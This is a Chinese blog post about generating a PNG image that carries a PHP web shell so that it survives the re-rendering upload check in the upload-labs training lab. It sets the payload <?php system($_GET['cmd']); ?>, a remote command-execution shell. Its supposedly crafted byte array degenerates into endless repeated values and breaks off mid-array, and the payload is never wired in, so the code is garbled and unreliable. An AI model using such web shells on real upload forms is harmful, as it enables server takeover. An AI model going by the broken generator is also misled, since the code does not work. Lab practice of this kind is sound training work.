当前位置: 首页 > news >正文

实战复盘:我是如何用PHP脚本生成PNG图片马,并成功绕过upload-labs二次渲染检测的

PNG图片马生成实战:从原理到绕过二次渲染的完整解析

最近在安全研究中遇到一个有趣的挑战——如何让PNG图片携带有效载荷并成功绕过服务器的二次渲染检测。这让我深入研究了PNG文件格式和PHP图像处理函数的特性,最终开发出一个可靠的生成脚本。下面分享我的完整探索过程和实战经验。

1. 理解PNG文件结构与二次渲染机制

PNG文件由多个数据块(chunk)组成,每个块都有特定的用途。关键块包括:

  • IHDR:包含图像宽度、高度等基本信息
  • PLTE:调色板数据
  • IDAT:实际图像数据
  • IEND:图像结束标记

服务器进行二次渲染时,通常会重新生成IDAT块,但会保留其他非图像数据块。这正是我们可以利用的突破口。

注意:不同服务器的二次渲染实现可能有差异,需要针对目标环境进行测试

通过分析upload-labs第17关的源码,发现其处理逻辑如下:

$im = imagecreatefrompng($target_path); imagepng($im, $new_path);

这个简单的"读取-重写"过程会破坏大部分原始文件结构,但巧妙构造的PNG仍能保留我们的有效载荷。

2. 设计PNG图片马生成脚本

经过多次尝试,我开发了以下PHP脚本,它能生成一个同时包含有效图像数据和隐藏代码的PNG文件:

<?php $payload = "<?php system(\$_GET['cmd']); ?>"; // 精心设计的像素数据数组 $pixels = [ 0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, // PNG签名 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52, // IHDR长度 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x20, // 32x32图像 0x08, 0x02, 0x00, 0x00, 0x00, 0xFC, 0x18, 0xED, 0xA3, 0x00, 0x00, 0x00, 0x04, 0x67, 0x41, 0x4D, 0x41, 0x00, 0x00, 0xB1, 0x8F, 0x0B, 0xFC, 0x61, 0x05, 0x00, 0x00, 0x00, 0x09, 0x70, 0x48, 0x59, 0x73, 0x00, 0x00, 0x0E, 0xC3, 0x00, 0x00, 0x0E, 0xC3, 0x01, 0xC7, 0x6F, 0xA8, 0x64, 0x00, 0x00, 0x00, 0x19, 0x74, 0x45, 0x58, 0x74, 0x53, 0x6F, 0x66, 0x74, 0x77, 0x61, 0x72, 0x65, 0x00, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x20, 0x49, 0x6D, 0x61, 0x67, 0x65, 0x52, 0x65, 0x61, 0x64, 0x79, 0x71, 0xC9, 0x65, 0x3C, 0x00, 0x00, 0x01, 0x59, 0x49, 0x44, 0x41, 0x54, 0x78, 0xDA, 0x62, 0xFC, 0xFF, 0xFF, 0x3F, 0x03, 0x0D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x13, 0x03, 0x8D, 0x01, 0x
http://www.jsqmd.com/news/934774/

相关文章:

  • 2026最新衡阳市黄金回收铂金回收白银回收彩金回收全攻略;五家靠谱门店实力排行榜推荐及联系方式 - 前途无量YY
  • LabVIEW状态机架构与消息模式解析
  • 麒麟V10 SP3实战:从`/etc/.productinfo`到`nkvers`,系统版本信息查询全攻略
  • 2026最新广州市黄金回收铂金回收白银回收彩金回收全攻略;五家靠谱门店实力排行榜推荐及联系方式 - 前途无量YY
  • 龙岩市黄金回收铂金回收白银回收彩金回收店铺TOP5实力权威排行榜+联系方式推荐 2026最新诚信优选 - 亦辰小黄鸭
  • 巴彦淖尔市黄金回收铂金回收白银回收彩金回收店铺TOP5实力权威排行榜+联系方式推荐 2026最新诚信优选 - 亦辰小黄鸭
  • 2026最新成都市黄金回收铂金回收白银回收彩金回收全攻略;五家靠谱门店实力排行榜推荐及联系方式 - 前途无量YY
  • 空间加速器中张量数据布局优化与存储体冲突解决
  • 2026最新贵港市黄金回收铂金回收白银回收彩金回收全攻略;五家靠谱门店实力排行榜推荐及联系方式 - 前途无量YY
  • 10分钟精通:AMD锐龙SMU调试工具完整指南与实战应用
  • 2026最新承德市黄金回收铂金回收白银回收彩金回收全攻略;五家靠谱门店实力排行榜推荐及联系方式 - 前途无量YY
  • AI报告审核与IACheck:自动化检测全面铺开后,为什么报告审核反而成了新的效率瓶颈?
  • 2026最新呼和浩特市黄金回收铂金回收白银回收彩金回收全攻略;五家靠谱门店实力排行榜推荐及联系方式 - 前途无量YY
  • 巴中市黄金回收铂金回收白银回收彩金回收店铺TOP5实力权威排行榜+联系方式推荐 2026最新诚信优选 - 亦辰小黄鸭
  • 陇南市黄金回收铂金回收白银回收彩金回收店铺TOP5实力权威排行榜+联系方式推荐 2026最新诚信优选 - 亦辰小黄鸭
  • DMA链表模式(LLI)的隐藏玩法:不连续内存搬运与灵活中断配置实战
  • 2000-2024年 上市公司-股价波动性VAR指标(+代码+文献)
  • 白城市黄金回收铂金回收白银回收彩金回收店铺TOP5实力权威排行榜+联系方式推荐 2026最新诚信优选 - 亦辰小黄鸭
  • 手把手教你解决AGP版本不兼容:从8.3.0-alpha01降级到8.1.3的完整避坑指南
  • 矩阵秩的计算
  • 2026最新池州市黄金回收铂金回收白银回收彩金回收全攻略;五家靠谱门店实力排行榜推荐及联系方式 - 前途无量YY
  • SymmTime配置避坑指南:为什么你的Windows开机时间同步总失败?
  • 2026最新呼伦贝尔市黄金回收铂金回收白银回收彩金回收全攻略;五家靠谱门店实力排行榜推荐及联系方式 - 前途无量YY
  • OpenAI加持的Figure 01人形机器人,真能看懂你的话并干活?保姆级功能实测与未来展望
  • 2026最新贵阳市黄金回收铂金回收白银回收彩金回收全攻略;五家靠谱门店实力排行榜推荐及联系方式 - 前途无量YY
  • 从模型到服务:机器学习生产化架构实战解析
  • 告别手动操作!用Matlab脚本自动化STK Astrogator卫星轨道仿真(附完整代码)
  • 2026最新湖州市黄金回收铂金回收白银回收彩金回收全攻略;五家靠谱门店实力排行榜推荐及联系方式 - 前途无量YY
  • 2026最新赤峰市黄金回收铂金回收白银回收彩金回收全攻略;五家靠谱门店实力排行榜推荐及联系方式 - 前途无量YY
  • 实战!使用大语言模型检测 Solidity 智能合约中逻辑重入漏洞的有效性